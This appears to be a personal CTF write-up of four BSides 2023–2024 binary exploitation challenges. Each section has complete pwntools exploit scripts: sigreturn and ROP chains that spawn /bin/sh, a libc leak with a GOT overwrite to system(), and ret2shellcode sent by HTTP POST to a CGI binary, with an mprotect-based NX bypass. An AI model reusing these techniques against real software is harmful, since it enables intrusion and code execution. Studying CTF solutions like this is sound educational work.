# (writeup) bsides-2023 ## SYS_ROP - check file + checksec ![](https://hackmd.io/_uploads/Hk6PlvNS2.png) - check ida ![](https://hackmd.io/_uploads/HkRjlPES3.png) ![](https://hackmd.io/_uploads/rJphxw4Sh.png) > offset 80 + 8(save rbp) ![](https://hackmd.io/_uploads/BJeCxDVBn.png) ![](https://hackmd.io/_uploads/S1xkWPVSh.png) ``` main : sub_40101C write : sub_401014 read : sub_40100C exit : sub_401000 ``` - based on name of the chall, I think about SYSROP at first - so we use pwntool named SigreturnFrame to setup these registers - we also have string '/bin/sh' on binary file ![](https://hackmd.io/_uploads/S1ja-DNB3.png) ```python frame = SigreturnFrame() frame.rax = 0x3b frame.rdi = 0x402010 #/bin/sh tren exe frame.rsi = 0 frame.rdx = 0 #frame.rsp = 0x00000000402a00 #r_w section frame.rip = syscall ``` - find some gadget ```python pop_rax = 0x0000000000401085 syscall = 0x0000000000401011 pop_rbp = 0x0000000000401073 pop_rdi = 0x000000000040107f pop_rdx = 0x0000000000401083 pop_rsi = 0x0000000000401081 ``` - payload: ```python payload = flat( b'A'*88, pop_rax, 0xf, syscall, bytes(frame), ) ``` ![](https://hackmd.io/_uploads/ByuTNvNS2.png) - I think those byte frame we send have too much byte to overwrite ![](https://hackmd.io/_uploads/rJphxw4Sh.png) >read 256 byte but we send 360 byte - so I call **read()** function one more time to overwrite another address which can r_w section - arg for read is rax = NULL, rdi = NULL, rsi = rw_address, rdx = size - because checksec PIE is off so we can use static address ![](https://hackmd.io/_uploads/BkTbDvNS2.png) >0x00000000402a00 ![](https://hackmd.io/_uploads/ByMABvNr2.png) - right now we stuck at here - have a look on register ![](https://hackmd.io/_uploads/rkx8IP4Hn.png) > maybe $rbp is weird - in sigframe, we add gadget $rbp at another address (use the same $rsi and minus 8 because after syscall, if we don't minus 8 it will be pop at the same gadget {pop rax}) ![](https://hackmd.io/_uploads/rJV72D4Bh.png) - still return at bad address .... - now add more gadget leave_ret ![](https://hackmd.io/_uploads/Sy9PhwVSh.png) - noice 🤌 ![](https://hackmd.io/_uploads/r1f1gvVS2.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./chall',checksec=False) p = process(exe.path) #p = process('ncat -v --ssl sys-rop.bsides.shellmates.club 443'.split()) # gdb.attach(p, gdbscript=''' # b*0x401014 # b*0x40101b # b*0x401049 # b*0x40104e # c # ''') # input() pop_rax = 0x0000000000401085 syscall = 0x0000000000401011 pop_rbp = 0x0000000000401073 pop_rdi = 0x000000000040107f pop_rdx = 0x0000000000401083 pop_rsi = 0x0000000000401081 leave_ret = 0x0000000000401070 frame = SigreturnFrame() frame.rax = 0x3b frame.rdi = 0x402010 #/bin/sh tren exe frame.rsi = 0 frame.rdx = 0 #frame.rsp = 0x00000000402a00 #r_w section frame.rip = syscall ### call sys_read payload = flat( b'A'*88, pop_rax, 0, pop_rdi, 0, pop_rsi, 0x00000000402a00, pop_rdx, 0x500, syscall, pop_rbp, 0x00000000402a00-8, leave_ret, ) p.sendafter(b'message: ',payload) #p.send(payload) #input("press ENTER to continue...") payload = flat( pop_rax, 0xf, syscall, bytes(frame), ) p.send(payload) p.interactive() ``` - method 2: (simplify the problem 🙃) - have enough gadget ---> ROPchain way ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./chall',checksec=False) p = process(exe.path) #p = process('ncat -v --ssl sys-rop.bsides.shellmates.club 443'.split()) pop_rax = 0x0000000000401085 syscall = 0x0000000000401011 pop_rdi = 0x000000000040107f pop_rdx = 0x0000000000401083 pop_rsi = 0x0000000000401081 binsh = 0x402010 payload = flat( b'A'*88, pop_rdi, binsh, pop_rsi, 0, pop_rdx, 0, pop_rax, 0x3b, syscall ) p.send(payload) p.interactive() ``` --- ## Junior Pwner - check file + checksec ![](https://hackmd.io/_uploads/BJ6ETD4Bh.png) - check ida ![](https://hackmd.io/_uploads/rJHrJF4r2.png) ![](https://hackmd.io/_uploads/SyGLJK4H3.png) - the author give the binary file and libc.so.6, so I pwninit at first - look at ida, we can see it read in to **buf** variable and after that, it will print 1 of 3 messages randomly by **rand()** function - let see detail: ![](https://hackmd.io/_uploads/ryeDo5Nrn.png) - otherwise, this program doesn't have any return or exit, will loop forever by **while(1)** - so my idea is ow '/bin/sh' and ow **system()** by **puts@GOT** - which mean when it call **puts()**, we will get shell by execute **puts@PLT** instead of print 1 of 3 messages - first we need to leak libc - because **buf** only 64 byte, **read()** 0x48 = 72 byte so we can ow save rbp to change execution flow - that enough to leak libc - payload: ``` = (GOT of puts) * 8 times += messages_addr + 0x30 ``` >at first I want to ow the next addr of messages (+ 0x18) but it can't leak libc (can leak but not always) - then we ow '/bin/sh' at (messages_addr + 0x40) ``` = ('/bin/sh' in libc) * 8 times += messages_addr + 0x40 ``` - finally ow **system()** and **puts@GOT** at address have '/bin/sh' ``` = (system in libc) * 8 times += (GOT of puts) + 0x40 ``` ![](https://hackmd.io/_uploads/H1-V3qErn.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./chall_patched',checksec=False) libc = ELF('./libc.so.6',checksec=False) ld = ELF('./ld-linux-x86-64.so.2',checksec=False) p = process(exe.path) #p = process('ncat -v --ssl junior-pwner.bsides.shellmates.club 443',split()) #p = remote('junior-pwner.bsides.shellmates.club',443,ssl=True) # gdb.attach(p,gdbscript=''' # b*vuln+49 # b*vuln+54 # b*vuln+72 # b*main+164 # c # ''') # input() messages = 0x4041c0 payload = p64(exe.got['puts'])*8 payload += p64(messages + 0x30) p.sendafter(b'Name:\n',payload) libc_leak = u64(p.recv(6) + b'\0\0') libc.address = libc_leak - 528080 log.info("libc leak: " + hex(libc_leak)) log.info("libc base: " + hex(libc.address)) payload = p64(next(libc.search(b'/bin/sh')))*8 payload += p64(messages + 0x40) p.sendafter(b'Name:\n',payload) payload = p64(libc.sym['system'])*8 payload += p64(exe.got['puts'] + 0x40) p.sendafter(b'Name:\n',payload) p.interactive() ``` --- # (writeup) bsides-2024 ## Can't Give In - basic file check ![image](https://hackmd.io/_uploads/r1z6devzR.png) - check ida ![image](https://hackmd.io/_uploads/S1ixtewG0.png) >**main()** - website ![image](https://hackmd.io/_uploads/BkoCKxPz0.png) - source ![image](https://hackmd.io/_uploads/BJMe9eDzA.png) ### analyse - this challenge is Pwn x Web, which is give us a binary running on a website - we simply find a bug in **read(v8, data, length)** if **CONTENT_LENGTH** is big enough >**CONTENT_LENGTH** depend on the size we input - moreover, the description tell us to RCE ---> ret2shellcode ### debug - first, to debug on local, we must have **env** (environment) of **CONTENT_LENGTH** to satisfy the function **getenv** by using this command: ``` $ export CONTENT_LENGTH=1000 ``` >size equal 1000 to easily overflow - next, there is no canary so base on ida, I can guess the buffer to padding is 0xa8 ![image](https://hackmd.io/_uploads/rkbioxDfA.png) > [rbp-A0h] is 0xA0 to touch $rbp, then +0x8 to ow $rbp, the rest into $rip - so to ret2shellcode, we need to return to the address which have shellcode - then I see when it return in **main()**, the address of stack is on $rdi and $rax is NULL - I search for gadget and I found some usefull gadgets here ```py add_rax_rdi = 0x0000000000424267 call_rax = 0x0000000000401010 pop_rdi = 0x0000000000401d90 ``` - my idea is move $rdi into $rax, then pop $rdi an offset that point to address shellcode, then just call $rax - about sending shellcode to a website, I use Burp Suite to genterate a script for python - I just edit the data from this ```py burp0_data = {'password' : payload.decode('latin')} ``` into this ```py burp0_data = payload.decode('latin') ``` >because I RCE on local sucessful but fail in server >I guess maybe the return address is wrong due to 'password=' - meanwhile, the payload i will edit like this ```py payload = b'password=' payload += shellcode ... ``` - that mean, the offset I have to +9 to bypass 9 bytes of 'password=' ### get flag ![image](https://hackmd.io/_uploads/H1zcvxPG0.png) - script ```py #!/usr/bin/python3 from pwn import * import requests context.binary = exe = ELF('./auth.cgi') # p = process(exe.path) # gdb.attach(p,gdbscript=''' # b*main+179 # b*main+265 # c # ''') # input() context.arch = 'amd64' io = b'/home/ctf/flag.txt' # io = b'flag.txt' shellcode = shellcraft.open(io) shellcode += shellcraft.read('rax','rsp',0x80) shellcode += shellcraft.write(1,'rsp', 0x80) sc = shellcraft.cat(io) add_rax_rdi = 0x0000000000424267 call_rax = 0x0000000000401010 pop_rdi = 0x0000000000401d90 payload = b'password=' payload += asm(sc) payload = payload.ljust(0xa8,b'a') payload += p64(add_rax_rdi) payload += p64(pop_rdi) + p64(0x579) payload += p64(add_rax_rdi) payload += p64(call_rax) # print(payload) # p.send(payload) # p.interactive() burp0_url = "http://cant-give-in-4130d4ca.challenges.bsidessf.net:8080/cgi-bin/auth.cgi" burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://cant-give-in-4130d4ca.challenges.bsidessf.net:8080", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": "http://cant-give-in-4130d4ca.challenges.bsidessf.net:8080/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"} burp0_data = payload.decode('latin') r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data) print(r.text) #CTF{certified-genuine-instructions} ``` >CTF{certified-genuine-instructions} ## Can't Give In (secure) - basic file check ![image](https://hackmd.io/_uploads/S1gmdxwfR.png) ### analyse - in this challenge, similar to above source code but a little different about mechanism security protection > in this case, NX enable - a little bit tricky restrict execute on stack, but my idea is still ret2shellcode (still RCE) - to set stack executable, I use **_dl_make_stacks_executable()** - before that, we must satisfy some conditions ![image](https://hackmd.io/_uploads/SkIKxWvMR.png) - first is **__stack_prot** variable, in default it is 0x1000000 ![image](https://hackmd.io/_uploads/SyEkbbwzA.png) - but it in read_only section 🤡 ![image](https://hackmd.io/_uploads/rJLPbWwzR.png) - so I use **mprotect()** to set that area has full permission =))) - then I move 7 into **__stack_prot** by this gadget ![image](https://hackmd.io/_uploads/HJN6zbwMA.png) >$rdx has value 7 when call **mprotect()** > just use pop $rsi for **__stack_prot** - and for arg1 of **_dl_make_stacks_executable()**, I use **__libc_stack_end** variable - now the rest is shellcode > maybe **__libc_stack_end** will have an unpredictable stack address so for the offset I will measure simple, then pad the `nop` asm code ### get flag ![image](https://hackmd.io/_uploads/HkfpwgPfR.png) - script ```py #!/usr/bin/python3 from pwn import * import requests context.binary = exe = ELF('./auth.cgi') # p = process(exe.path) # gdb.attach(p,gdbscript=''' # b*main+179 # b*main+265 # c # ''') # input() context.arch = 'amd64' io = b'/home/ctf/flag.txt' # io = b'flag.txt' sc = shellcraft.cat(io) add_rax_rdi = 0x0000000000424267 pop_rdi = 0x0000000000401d90 pop_rsi = 0x000000000040f782 pop_rdx_rbx = 0x00000000004696d7 mov_ptr_rsi_rdx = 0x46b482 call_rsp = 0x00000000004127ca payload = b'password=' payload = payload.ljust(0xa8,b'a') payload += p64(pop_rdi) + p64(0x4a1000) payload += p64(pop_rsi) + p64(0x4000) payload += p64(pop_rdx_rbx) + p64(7)*2 payload += p64(exe.sym.mprotect) payload += p64(pop_rsi) + p64(exe.sym.__stack_prot) payload += p64(mov_ptr_rsi_rdx) payload += p64(pop_rdi) + p64(exe.sym.__libc_stack_end) payload += p64(exe.sym._dl_make_stacks_executable) payload += p64(add_rax_rdi) payload += p64(pop_rdi) + p64(0xcb0) payload += p64(add_rax_rdi) payload += p64(call_rsp) payload += b'\x90'*8*10 payload += asm(sc) # print(payload) # p.send(payload) # p.interactive() burp0_url = "http://cant-give-in-secure-05060d6d.challenges.bsidessf.net:8080/cgi-bin/auth.cgi" burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://cant-give-in-4130d4ca.challenges.bsidessf.net:8080", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": "http://cant-give-in-4130d4ca.challenges.bsidessf.net:8080/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"} burp0_data = payload.decode('latin') r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data) print(r.text) #CTF{computational-genius-institute} ``` >CTF{computational-genius-institute}